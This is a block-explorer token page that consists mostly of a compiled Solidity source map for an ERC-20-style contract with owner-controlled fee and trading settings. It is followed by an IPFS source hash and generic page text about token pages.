;;;43161:22:0;::::1;43153:47;;;::::0;-1:-1:-1;;;43153:47:0;;9114:2:1;43153:47:0::1;::::0;::::1;9096:21:1::0;9153:2;9133:18;;;9126:30;-1:-1:-1;;;9172:18:1;;;9165:42;9224:18;;43153:47:0::1;8912:336:1::0;43153:47:0::1;43211:16;:27:::0;;-1:-1:-1;;;;;;43211:27:0::1;-1:-1:-1::0;;;;;43211:27:0;;;::::1;::::0;;;::::1;::::0;;43073:173::o;42428:333::-;16352:6;;-1:-1:-1;;;;;16352:6:0;307:10;16352:22;16344:67;;;;-1:-1:-1;;;16344:67:0;;;;;;;:::i;:::-;42553:37;;::::1;42545:72;;;::::0;-1:-1:-1;;;42545:72:0;;9455:2:1;42545:72:0::1;::::0;::::1;9437:21:1::0;9494:2;9474:18;;;9467:30;-1:-1:-1;;;9513:18:1;;;9506:52;9575:18;;42545:72:0::1;9253:346:1::0;42545:72:0::1;42632:9;42628:126;42647:18:::0;;::::1;42628:126;;;42686:56;42702:10;42714:7;;42722:1;42714:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;42726:12;;42739:1;42726:15;;;;;;;:::i;:::-;;;;;;;42686;:56::i;:::-;42667:3:::0;::::1;::::0;::::1;:::i;:::-;;;;42628:126;;;;42428:333:::0;;;;:::o;7462:261::-;7559:4;307:10;7617:38;7633:4;307:10;7648:6;7617:15;:38::i;:::-;7666:27;7676:4;7682:2;7686:6;7666:9;:27::i;:::-;-1:-1:-1;7711:4:0;;7462:261;-1:-1:-1;;;;7462:261:0:o;8132:238::-;8220:4;307:10;8276:64;307:10;8292:7;8329:10;8301:25;307:10;8292:7;8301:9;:25::i;:::-;:38;;;;:::i;:::-;8276:8;:64::i;42769:296::-;16352:6;;-1:-1:-1;;;;;16352:6:0;307:10;16352:22;16344:67;;;;-1:-1:-1;;;16344:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;42858:20:0;::::1;42850:59;;;::::0;-1:-1:-1;;;42850:59:0;;10078:2:1;42850:59:0::1;::::0;::::1;10060:21:1::0;10117:2;10097:18;;;10090:30;10156:28;10136:18;;;10129:56;10202:18;;42850:59:0::1;9876:350:1::0;42850:59:0::1;42947:39;::::0;-1:-1:-1;;;42947:39:0;;42980:4:::1;42947:39;::::0;::::1;1341:51:1::0;42920:24:0::1;::::0;-1:-1:-1;;;;;42947:24:0;::::1;::::0;::::1;::::0;1314:18:1;;42947:39:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;42920:66;;42997:60;43027:6;43035:3;43040:16;42997:22;:60::i;:::-;42839:226;42769:296:::0;;:::o;39853:101::-;16352:6;;-1:-1:-1;;;;;16352:6:0;307:10;16352:22;16344:67;;;;-1:-1:-1;;;16344:67:0;;;;;;;:::i;:::-;39937:9:::1;::::0;39920:14:::1;:26:::0;39853:101::o;16439:150::-;16352:6;;-1:-1:-1;;;;;16352:6:0;307:10;16352:22;16344:67;;;;-1:-1:-1;;;16344:67:0;;;;;;;:::i;:::-;16532:6:::1;::::0;16511:40:::1;::::0;16548:1:::1;::::0;-1:-1:-1;;;;;16532:6:0::1;::::0;16511:40:::1;::::0;16548:1;;16511:40:::1;16562:6;:19:::0;;-1:-1:-1;;;;;;16562:19:0::1;::::0;;16439:150::o;42083:231::-;16352:6;;-1:-1:-1;;;;;16352:6:0;307:10;16352:22;16344:67;;;;-1:-1:-1;;;16344:67:0;;;;;;;:::i;:::-;42137:14:::1;:22:::0;;-1:-1:-1;;42170:28:0;;;5538:12;;42209:14:::1;:30:::0;5538:12;;42250:9:::1;:25:::0;42291:15:::1;::::0;::::1;::::0;;;::::1;42083:231::o:0;39962:247::-;16352:6;;-1:-1:-1;;;;;16352:6:0;307:10;16352:22;16344:67;;;;-1:-1:-1;;;16344:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;40061:22:0;::::1;40053:47;;;::::0;-1:-1:-1;;;40053:47:0;;10622:2:1;40053:47:0::1;::::0;::::1;10604:21:1::0;10661:2;10641:18;;;10634:30;-1:-1:-1;;;10680:18:1;;;10673:42;10732:18;;40053:47:0::1;10420:336:1::0;40053:47:0::1;-1:-1:-1::0;;;;;40111:24:0;::::1;;::::0;;;:14:::1;:24;::::0;;;;;;;;:36;;-1:-1:-1;;40111:36:0::1;::::0;::::1;;::::0;;::::1;::::0;;;40163:38;;10929:51:1;;;10996:18;;;10989:50;40163:38:0::1;::::0;10902:18:1;40163:38:0::1;;;;;;;;39962:247:::0;;:::o;41992:83::-;16352:6;;-1:-1:-1;;;;;16352:6:0;307:10;16352:22;16344:67;;;;-1:-1:-1;;;16344:67:0;;;;;;;:::i;:::-;42047:13:::1;:20:::0;;-1:-1:-1;;42047:20:0::1;42063:4;42047:20;::::0;;41992:83::o;4540:104::-;4596:13;4629:7;4622:14;;;;;:::i;41147:409::-;16352:6;;-1:-1:-1;;;;;16352:6:0;307:10;16352:22;16344:67;;;;-1:-1:-1;;;16344:67:0;;;;;;;:::i;:::-;41265:16:::1;:33:::0;;;41309:15:::1;:31:::0;;;41351:11:::1;:23:::0;;;41365:9;41399:34:::1;41327:13:::0;41284:14;41399:34:::1;:::i;:::-;:48;;;;:::i;:::-;41385:11;:62:::0;;;41481:3:::1;-1:-1:-1::0;41466:18:0::1;41458:48;;;::::0;-1:-1:-1;;;41458:48:0;;8383:2:1;41458:48:0::1;::::0;::::1;8365:21:1::0;8422:2;8402:18;;;8395:30;-1:-1:-1;;;8441:18:1;;;8434:47;8498:18;;41458:48:0::1;8181:341:1::0;41458:48:0::1;41522:26;41536:11;;41522:26;;;;2178:25:1::0;;2166:2;2151:18;;2032:177;40217:353:0;16352:6;;-1:-1:-1;;;;;16352:6:0;307:10;16352:22;16344:67;;;;-1:-1:-1;;;16344:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;40318:22:0;::::1;40310:47;;;::::0;-1:-1:-1;;;40310:47:0;;10622:2:1;40310:47:0::1;::::0;::::1;10604:21:1::0;10661:2;10641:18;;;10634:30;-1:-1:-1;;;10680:18:1;;;10673:42;10732:18;;40310:47:0::1;10420:336:1::0;40310:47:0::1;40372:9;40368:90;;40417:6;::::0;-1:-1:-1;;;;;40417:6:0;;::::1;40405:18:::0;;::::1;::::0;40397:49:::1;;;::::0;-1:-1:-1;;;40397:49:0;;11252:2:1;40397:49:0::1;::::0;::::1;11234:21:1::0;11291:2;11271:18;;;11264:30;-1:-1:-1;;;11310:18:1;;;11303:48;11368:18;;40397:49:0::1;11050:342:1::0;40397:49:0::1;-1:-1:-1::0;;;;;40468:26:0;::::1;;::::0;;;:16:::1;:26;::::0;;;;;;;;:38;;-1:-1:-1;;40468:38:0::1;::::0;::::1;;::::0;;::::1;::::0;;;40522:40;;10929:51:1;;;10996:18;;;10989:50;40522:40:0::1;::::0;10902:18:1;40522:40:0::1;10761:284:1::0;8873:436:0;8966:4;307:10;8966:4;9049:25;307:10;9066:7;9049:9;:25::i;:::-;9022:52;;9113:15;9093:16;:35;;9085:85;;;;-1:-1:-1;;;9085:85:0;;11599:2:1;9085:85:0;;;11581:21:1;11638:2;11618:18;;;11611:30;11677:34;11657:18;;;11650:62;-1:-1:-1;;;11728:18:1;;;11721:35;11773:19;;9085:85:0;11397:401:1;9085:85:0;9206:60;9215:5;9222:7;9250:15;9231:16;:34;9206:8;:60::i;5954:193::-;6033:4;307:10;6089:28;307:10;6106:2;6110:6;6089:9;:28::i;6210:151::-;-1:-1:-1;;;;;6326:18:0;;;6299:7;6326:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6210:151::o;42322:98::-;16352:6;;-1:-1:-1;;;;;16352:6:0;307:10;16352:22;16344:67;;;;-1:-1:-1;;;16344:67:0;;;;;;;:::i;:::-;42384:20:::1;:28:::0;;-1:-1:-1;;42384:28:0::1;::::0;;42322:98::o;16597:244::-;16352:6;;-1:-1:-1;;;;;16352:6:0;307:10;16352:22;16344:67;;;;-1:-1:-1;;;16344:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16686:22:0;::::1;16678:73;;;::::0;-1:-1:-1;;;16678:73:0;;12005:2:1;16678:73:0::1;::::0;::::1;11987:21:1::0;12044:2;12024:18;;;12017:30;12083:34;12063:18;;;12056:62;-1:-1:-1;;;12134:18:1;;;12127:36;12180:19;;16678:73:0::1;11803:402:1::0;16678:73:0::1;16788:6;::::0;16767:38:::1;::::0;-1:-1:-1;;;;;16767:38:0;;::::1;::::0;16788:6:::1;::::0;16767:38:::1;::::0;16788:6:::1;::::0;16767:38:::1;16816:6;:17:::0;;-1:-1:-1;;;;;;16816:17:0::1;-1:-1:-1::0;;;;;16816:17:0;;;::::1;::::0;;;::::1;::::0;;16597:244::o;39731:114::-;16352:6;;-1:-1:-1;;;;;16352:6:0;307:10;16352:22;16344:67;;;;-1:-1:-1;;;16344:67:0;;;;;;;:::i;:::-;39833:4:::1;39813:13;5538:12:::0;;;5450:108;39813:13:::1;:17;::::0;39829:1:::1;39813:17;:::i;:::-;:24;;;;:::i;:::-;39796:14;:41:::0;39731:114::o;12866:346::-;-1:-1:-1;;;;;12968:19:0;;12960:68;;;;-1:-1:-1;;;12960:68:0;;12412:2:1;12960:68:0;;;12394:21:1;12451:2;12431:18;;;12424:30;12490:34;12470:18;;;12463:62;-1:-1:-1;;;12541:18:1;;;12534:34;12585:19;;12960:68:0;12210:400:1;12960:68:0;-1:-1:-1;;;;;13047:21:0;;13039:68;;;;-1:-1:-1;;;13039:68:0;;12817:2:1;13039:68:0;;;12799:21:1;12856:2;12836:18;;;12829:30;12895:34;12875:18;;;12868:62;-1:-1:-1;;;12946:18:1;;;12939:32;12988:19;;13039:68:0;12615:398:1;13039:68:0;-1:-1:-1;;;;;13120:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;13172:32;;2178:25:1;;;13172:32:0;;2151:18:1;13172:32:0;;;;;;;12866:346;;;:::o;9779:806::-;-1:-1:-1;;;;;9876:18:0;;9868:68;;;;-1:-1:-1;;;9868:68:0;;13220:2:1;9868:68:0;;;13202:21:1;13259:2;13239:18;;;13232:30;13298:34;13278:18;;;13271:62;-1:-1:-1;;;13349:18:1;;;13342:35;13394:19;;9868:68:0;13018:401:1;9868:68:0;-1:-1:-1;;;;;9955:16:0;;9947:64;;;;-1:-1:-1;;;9947:64:0;;13626:2:1;9947:64:0;;;13608:21:1;13665:2;13645:18;;;13638:30;13704:34;13684:18;;;13677:62;-1:-1:-1;;;13755:18:1;;;13748:33;13798:19;;9947:64:0;13424:399:1;9947:64:0;-1:-1:-1;;;;;10097:15:0;;10075:19;10097:15;;;;;;;;;;;10131:21;;;;10123:72;;;;-1:-1:-1;;;10123:72:0;;14030:2:1;10123:72:0;;;14012:21:1;14069:2;14049:18;;;14042:30;14108:34;14088:18;;;14081:62;-1:-1:-1;;;14159:18:1;;;14152:36;14205:19;;10123:72:0;13828:402:1;10123:72:0;-1:-1:-1;;;;;10231:15:0;;;:9;:15;;;;;;;;;;;10249:20;;;10231:38;;10449:13;;;;;;;;;;:23;;;;;;10501:26;;2178:25:1;;;10449:13:0;;10501:26;;2151:18:1;10501:26:0;;;;;;;10540:37;9857:728;9779:806;;;:::o;13503:419::-;13604:24;13631:25;13641:5;13648:7;13631:9;:25::i;:::-;13604:52;;-1:-1:-1;;13671:16:0;:37;13667:248;;13753:6;13733:16;:26;;13725:68;;;;-1:-1:-1;;;13725:68:0;;14437:2:1;13725:68:0;;;14419:21:1;14476:2;14456:18;;;14449:30;14515:31;14495:18;;;14488:59;14564:18;;13725:68:0;14235:353:1;13725:68:0;13837:51;13846:5;13853:7;13881:6;13862:16;:25;13837:8;:51::i;35468:347::-;35610:29;35622:4;35628:2;35632:6;35610:11;:29::i;:::-;-1:-1:-1;;;;;35656:20:0;;;;;;:14;:20;;;;;;;;35655:21;:44;;;;-1:-1:-1;;;;;;35681:18:0;;;;;;:14;:18;;;;;;;;35680:19;35655:44;35652:112;;;35725:27;35735:4;35741:2;35745:6;35725:9;:27::i;:::-;35715:37;;;;:::i;:::-;;;35652:112;35776:31;35792:4;35797:2;35800:6;35776:15;:31::i;23011:177::-;23121:58;;;-1:-1:-1;;;;;14918:32:1;;23121:58:0;;;14900:51:1;14967:18;;;;14960:34;;;23121:58:0;;;;;;;;;;14873:18:1;;;;23121:58:0;;;;;;;;-1:-1:-1;;;;;23121:58:0;-1:-1:-1;;;23121:58:0;;;23094:86;;23114:5;;23094:19;:86::i;35823:1309::-;-1:-1:-1;;;;;35912:20:0;;;;;;:14;:20;;;;;;;;35911:21;:44;;;;-1:-1:-1;;;;;;35937:18:0;;;;;;:14;:18;;;;;;;;35936:19;35911:44;35908:119;;;35979:13;;;;35971:44;;;;-1:-1:-1;;;35971:44:0;;15207:2:1;35971:44:0;;;15189:21:1;15246:2;15226:18;;;15219:30;-1:-1:-1;;;15265:18:1;;;15258:48;15323:18;;35971:44:0;15005:342:1;35971:44:0;36042:14;;;;;;;36039:1086;;;36076:20;;;;36072:421;;;36134:9;;-1:-1:-1;;;;;36120:24:0;;;36134:9;;36120:24;;;;:42;;-1:-1:-1;;;;;;36149:13:0;;;;;;:9;:13;;;;;;;;36148:14;36120:42;36116:362;;;36219:9;36194:35;;;;:24;:35;;;;;;36232:12;-1:-1:-1;36194:97:0;;;;-1:-1:-1;;;;;;36248:28:0;;;;;;:24;:28;;;;;;36279:12;-1:-1:-1;36194:97:0;36186:133;;;;-1:-1:-1;;;36186:133:0;;15554:2:1;36186:133:0;;;15536:21:1;15593:2;15573:18;;;15566:30;15632:25;15612:18;;;15605:53;15675:18;;36186:133:0;15352:347:1;36186:133:0;36367:9;36342:35;;;;:24;:35;;;;;;36380:12;36342:50;;;;-1:-1:-1;;;;;36415:28:0;;;;;;:43;36116:362;-1:-1:-1;;;;;36533:15:0;;;;;;:9;:15;;;;;;;;:40;;;;-1:-1:-1;;;;;;36553:20:0;;;;;;:16;:20;;;;;;;;36552:21;36533:40;36529:585;;;36612:14;;36602:6;:24;;36594:66;;;;-1:-1:-1;;;36594:66:0;;15906:2:1;36594:66:0;;;15888:21:1;15945:2;15925:18;;;15918:30;15984:31;15964:18;;;15957:59;16033:18;;36594:66:0;15704:353:1;36594:66:0;36713:9;;-1:-1:-1;;;;;5722:18:0;;5695:7;5722:18;;;;;;;;;;;36696:13;36687:22;;:6;:22;:::i;:::-;:35;;36679:75;;;;-1:-1:-1;;;36679:75:0;;16264:2:1;36679:75:0;;;16246:21:1;16303:2;16283:18;;;16276:30;16342:29;16322:18;;;16315:57;16389:18;;36679:75:0;16062:351:1;36529:585:0;-1:-1:-1;;;;;36815:13:0;;;;;;:9;:13;;;;;;;;:40;;;;-1:-1:-1;;;;;;36833:22:0;;;;;;:16;:22;;;;;;;;36832:23;36815:40;36811:303;;;36894:14;;36884:6;:24;;36876:67;;;;-1:-1:-1;;;36876:67:0;;16620:2:1;36876:67:0;;;16602:21:1;16659:2;16639:18;;;16632:30;16698:32;16678:18;;;16671:60;16748:18;;36876:67:0;16418:354:1;36811:303:0;-1:-1:-1;;;;;36982:20:0;;;;;;:16;:20;;;;;;;;36978:136;;37057:9;;-1:-1:-1;;;;;5722:18:0;;5695:7;5722:18;;;;;;;;;;;37040:13;5621:127;37140:1140;37259:4;37219:7;5722:18;;;;;;;37275:8;;;;;;;37238:159;;37300:8;:15;;-1:-1:-1;;37300:15:0;;;;;37330:24;37345:4;37351:2;37330:14;:24::i;:::-;37369:8;:16;;-1:-1:-1;;37369:16:0;;;37238:159;-1:-1:-1;;;;;37469:13:0;;37417:11;37469:13;;;:9;:13;;;;;;;;:33;;;;;37501:1;37486:12;;:16;37469:33;37465:674;;;32834:5;37533:12;;37524:6;:21;;;;:::i;:::-;:35;;;;:::i;:::-;37518:41;;37621:12;;37602:16;;37596:3;:22;;;;:::i;:::-;:37;;;;:::i;:::-;37574:18;;:59;;;;;;;:::i;:::-;;;;-1:-1:-1;;37697:12:0;;37677:17;;37671:23;;:3;:23;:::i;:::-;:38;;;;:::i;:::-;37648:19;;:61;;;;;;;:::i;:::-;;;;-1:-1:-1;;37763:12:0;;37748;;37742:18;;:3;:18;:::i;:::-;:33;;;;:::i;:::-;37724:14;;:51;;;;;;;:::i;:::-;;;;-1:-1:-1;37465:674:0;;-1:-1:-1;37465:674:0;;-1:-1:-1;;;;;37826:15:0;;;;;;:9;:15;;;;;;;;:34;;;;;37859:1;37845:11;;:15;37826:34;37823:316;;;32834:5;37892:11;;37883:6;:20;;;;:::i;:::-;:34;;;;:::i;:::-;37877:40;;37980:11;;37961:16;;37955:3;:22;;;;:::i;:::-;:36;;;;:::i;:::-;37932:19;;:59;;;;;;;:::i;:::-;;;;-1:-1:-1;;38052:11:0;;38034:15;;38028:21;;:3;:21;:::i;:::-;:35;;;;:::i;:::-;38006:18;;:57;;;;;;;:::i;:::-;;;;-1:-1:-1;;38116:11:0;;38102;;38096:17;;:3;:17;:::i;:::-;:31;;;;:::i;:::-;38078:14;;:49;;;;;;;:::i;:::-;;;;-1:-1:-1;;37823:316:0;38162:7;;38159:83;;38189:41;38205:4;38219;38226:3;38189:15;:41::i;:::-;38269:3;37140:1140;-1:-1:-1;;;;37140:1140:0:o;23409:333::-;23490:23;23516:69;23544:4;23516:69;;;;;;;;;;;;;;;;;23524:5;-1:-1:-1;;;;;23516:27:0;;;:69;;;;;:::i;:::-;23600:17;;23490:95;;-1:-1:-1;23600:21:0;23596:139;;23657:10;23646:30;;;;;;;;;;;;:::i;:::-;23638:85;;;;-1:-1:-1;;;23638:85:0;;17229:2:1;23638:85:0;;;17211:21:1;17268:2;17248:18;;;17241:30;17307:34;17287:18;;;17280:62;-1:-1:-1;;;17358:18:1;;;17351:40;17408:19;;23638:85:0;17027:406:1;38680:1017:0;38795:4;38751:23;5722:18;;;;;;;;;;;38751:50;;38812:25;38883:14;;38861:19;;38840:18;;:40;;;;:::i;:::-;:57;;;;:::i;:::-;38812:85;;38931:15;;38949:2;38931:20;;;;:::i;:::-;38913:15;:38;38910:107;;;38985:15;;:20;;39003:2;38985:20;:::i;:::-;38967:38;;38910:107;39040:18;;:22;39037:396;;39078:23;39143:17;39122:18;;39104:15;:36;;;;:::i;:::-;:56;;;;:::i;:::-;39206:6;;39078:82;;-1:-1:-1;39175:55:0;;39199:4;;-1:-1:-1;;;;;39206:6:0;39078:82;39175:15;:55::i;:::-;39257:6;;;;;;;;;-1:-1:-1;;;;;39257:6:0;-1:-1:-1;;;;;39249:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;39245:37;39296:34;39315:15;39296:34;;:::i;:::-;;;39366:18;;39345:39;;;;;:::i;:::-;39420:1;39399:18;:22;39345:39;-1:-1:-1;;39037:396:0;39547:16;;39588:26;;-1:-1:-1;;17665:2:1;17661:15;;;17657:24;;39588:26:0;;;17645:37:1;17716:15;;;17712:24;17698:12;;;17691:46;39474:21:0;;39453:18;;-1:-1:-1;;;;;39547:16:0;;;;39474:21;;17753:12:1;;39588:26:0;;;-1:-1:-1;;39588:26:0;;;;;;;;;;39547:68;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;39533:82;;;;;39634:7;39626:34;;;;-1:-1:-1;;;39626:34:0;;18270:2:1;39626:34:0;;;18252:21:1;18309:2;18289:18;;;18282:30;-1:-1:-1;;;18328:18:1;;;18321:44;18382:18;;39626:34:0;18068:338:1;39626:34:0;-1:-1:-1;;39688:1:0;39671:14;:18;-1:-1:-1;;;;38680:1017:0:o;17514:229::-;17651:12;17683:52;17705:6;17713:4;17719:1;17722:12;17651;18922;18936:23;18963:6;-1:-1:-1;;;;;18963:11:0;18982:5;18989:4;18963:31;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18921:73;;;;19012:69;19039:6;19047:7;19056:10;19068:12;19012:26;:69::i;:::-;19005:76;18634:455;-1:-1:-1;;;;;;;18634:455:0:o;21207:644::-;21392:12;21421:7;21417:427;;;21449:10;:17;21470:1;21449:22;21445:290;;-1:-1:-1;;;;;16955:19:0;;;21659:60;;;;-1:-1:-1;;;21659:60:0;;19020:2:1;21659:60:0;;;19002:21:1;19059:2;19039:18;;;19032:30;19098:31;19078:18;;;19071:59;19147:18;;21659:60:0;18818:353:1;21659:60:0;-1:-1:-1;21756:10:0;21749:17;;21417:427;21799:33;21807:10;21819:12;22554:17;;:21;22550:388;;22786:10;22780:17;22843:15;22830:10;22826:2;22822:19;22815:44;22550:388;22913:12;22906:20;;-1:-1:-1;;;22906:20:0;;;;;;;;:::i;14:180:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;-1:-1:-1;165:23:1;;14:180;-1:-1:-1;14:180:1:o;199:316::-;276:6;284;292;345:2;333:9;324:7;320:23;316:32;313:52;;;361:1;358;351:12;313:52;-1:-1:-1;;384:23:1;;;454:2;439:18;;426:32;;-1:-1:-1;505:2:1;490:18;;;477:32;;199:316;-1:-1:-1;199:316:1:o;520:250::-;605:1;615:113;629:6;626:1;623:13;615:113;;;705:11;;;699:18;686:11;;;679:39;651:2;644:10;615:113;;;-1:-1:-1;;762:1:1;744:16;;737:27;520:250::o;775:396::-;924:2;913:9;906:21;887:4;956:6;950:13;999:6;994:2;983:9;979:18;972:34;1015:79;1087:6;1082:2;1071:9;1067:18;1062:2;1054:6;1050:15;1015:79;:::i;:::-;1155:2;1134:15;-1:-1:-1;;1130:29:1;1115:45;;;;1162:2;1111:54;;775:396;-1:-1:-1;;775:396:1:o;1403:173::-;1471:20;;-1:-1:-1;;;;;1520:31:1;;1510:42;;1500:70;;1566:1;1563;1556:12;1500:70;1403:173;;;:::o;1581:254::-;1649:6;1657;1710:2;1698:9;1689:7;1685:23;1681:32;1678:52;;;1726:1;1723;1716:12;1678:52;1749:29;1768:9;1749:29;:::i;:::-;1739:39;1825:2;1810:18;;;;1797:32;;-1:-1:-1;;;1581:254:1:o;2214:186::-;2273:6;2326:2;2314:9;2305:7;2301:23;2297:32;2294:52;;;2342:1;2339;2332:12;2294:52;2365:29;2384:9;2365:29;:::i;:::-;2355:39;2214:186;-1:-1:-1;;;2214:186:1:o;2405:367::-;2468:8;2478:6;2532:3;2525:4;2517:6;2513:17;2509:27;2499:55;;2550:1;2547;2540:12;2499:55;-1:-1:-1;2573:20:1;;2616:18;2605:30;;2602:50;;;2648:1;2645;2638:12;2602:50;2685:4;2677:6;2673:17;2661:29;;2745:3;2738:4;2728:6;2725:1;2721:14;2713:6;2709:27;2705:38;2702:47;2699:67;;;2762:1;2759;2752:12;2699:67;2405:367;;;;;:::o;2777:773::-;2899:6;2907;2915;2923;2976:2;2964:9;2955:7;2951:23;2947:32;2944:52;;;2992:1;2989;2982:12;2944:52;3032:9;3019:23;3061:18;3102:2;3094:6;3091:14;3088:34;;;3118:1;3115;3108:12;3088:34;3157:70;3219:7;3210:6;3199:9;3195:22;3157:70;:::i;:::-;3246:8;;-1:-1:-1;3131:96:1;-1:-1:-1;3334:2:1;3319:18;;3306:32;;-1:-1:-1;3350:16:1;;;3347:36;;;3379:1;3376;3369:12;3347:36;;3418:72;3482:7;3471:8;3460:9;3456:24;3418:72;:::i;:::-;2777:773;;;;-1:-1:-1;3509:8:1;-1:-1:-1;;;;2777:773:1:o;3555:328::-;3632:6;3640;3648;3701:2;3689:9;3680:7;3676:23;3672:32;3669:52;;;3717:1;3714;3707:12;3669:52;3740:29;3759:9;3740:29;:::i;:::-;3730:39;;3788:38;3822:2;3811:9;3807:18;3788:38;:::i;:::-;3778:48;;3873:2;3862:9;3858:18;3845:32;3835:42;;3555:328;;;;;:::o;4285:260::-;4353:6;4361;4414:2;4402:9;4393:7;4389:23;4385:32;4382:52;;;4430:1;4427;4420:12;4382:52;4453:29;4472:9;4453:29;:::i;:::-;4443:39;;4501:38;4535:2;4524:9;4520:18;4501:38;:::i;:::-;4491:48;;4285:260;;;;;:::o;4550:118::-;4636:5;4629:13;4622:21;4615:5;4612:32;4602:60;;4658:1;4655;4648:12;4602:60;4550:118;:::o;4673:315::-;4738:6;4746;4799:2;4787:9;4778:7;4774:23;4770:32;4767:52;;;4815:1;4812;4805:12;4767:52;4838:29;4857:9;4838:29;:::i;:::-;4828:39;;4917:2;4906:9;4902:18;4889:32;4930:28;4952:5;4930:28;:::i;:::-;4977:5;4967:15;;;4673:315;;;;;:::o;5445:356::-;5647:2;5629:21;;;5666:18;;;5659:30;5725:34;5720:2;5705:18;;5698:62;5792:2;5777:18;;5445:356::o;5806:127::-;5867:10;5862:3;5858:20;5855:1;5848:31;5898:4;5895:1;5888:15;5922:4;5919:1;5912:15;5938:422;6027:1;6070:5;6027:1;6084:270;6105:7;6095:8;6092:21;6084:270;;;6164:4;6160:1;6156:6;6152:17;6146:4;6143:27;6140:53;;;6173:18;;:::i;:::-;6223:7;6213:8;6209:22;6206:55;;;6243:16;;;;6206:55;6322:22;;;;6282:15;;;;6084:270;;;6088:3;5938:422;;;;;:::o;6365:806::-;6414:5;6444:8;6434:80;;-1:-1:-1;6485:1:1;6499:5;;6434:80;6533:4;6523:76;;-1:-1:-1;6570:1:1;6584:5;;6523:76;6615:4;6633:1;6628:59;;;;6701:1;6696:130;;;;6608:218;;6628:59;6658:1;6649:10;;6672:5;;;6696:130;6733:3;6723:8;6720:17;6717:43;;;6740:18;;:::i;:::-;-1:-1:-1;;6796:1:1;6782:16;;6811:5;;6608:218;;6910:2;6900:8;6897:16;6891:3;6885:4;6882:13;6878:36;6872:2;6862:8;6859:16;6854:2;6848:4;6845:12;6841:35;6838:77;6835:159;;;-1:-1:-1;6947:19:1;;;6979:5;;6835:159;7026:34;7051:8;7045:4;7026:34;:::i;:::-;7096:6;7092:1;7088:6;7084:19;7075:7;7072:32;7069:58;;;7107:18;;:::i;:::-;7145:20;;6365:806;-1:-1:-1;;;6365:806:1:o;7176:140::-;7234:5;7263:47;7304:4;7294:8;7290:19;7284:4;7263:47;:::i;7321:168::-;7394:9;;;7425;;7442:15;;;7436:22;;7422:37;7412:71;;7463:18;;:::i;7494:217::-;7534:1;7560;7550:132;;7604:10;7599:3;7595:20;7592:1;7585:31;7639:4;7636:1;7629:15;7667:4;7664:1;7657:15;7550:132;-1:-1:-1;7696:9:1;;7494:217::o;8051:125::-;8116:9;;;8137:10;;;8134:36;;;8150:18;;:::i;8527:380::-;8606:1;8602:12;;;;8649;;;8670:61;;8724:4;8716:6;8712:17;8702:27;;8670:61;8777:2;8769:6;8766:14;8746:18;8743:38;8740:161;;8823:10;8818:3;8814:20;8811:1;8804:31;8858:4;8855:1;8848:15;8886:4;8883:1;8876:15;8740:161;;8527:380;;;:::o;9604:127::-;9665:10;9660:3;9656:20;9653:1;9646:31;9696:4;9693:1;9686:15;9720:4;9717:1;9710:15;9736:135;9775:3;9796:17;;;9793:43;;9816:18;;:::i;:::-;-1:-1:-1;9863:1:1;9852:13;;9736:135::o;10231:184::-;10301:6;10354:2;10342:9;10333:7;10329:23;10325:32;10322:52;;;10370:1;10367;10360:12;10322:52;-1:-1:-1;10393:16:1;;10231:184;-1:-1:-1;10231:184:1:o;14593:128::-;14660:9;;;14681:11;;;14678:37;;;14695:18;;:::i;16777:245::-;16844:6;16897:2;16885:9;16876:7;16872:23;16868:32;16865:52;;;16913:1;16910;16903:12;16865:52;16945:9;16939:16;16964:28;16986:5;16964:28;:::i;17776:287::-;17905:3;17943:6;17937:13;17959:66;18018:6;18013:3;18006:4;17998:6;17994:17;17959:66;:::i;:::-;18041:16;;;;;17776:287;-1:-1:-1;;17776:287:1:o
Swarm Source
ipfs://11ece3a94b257b7a85cc489e391b9e236ffbefc026d85f04fc353afb1a099b4c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.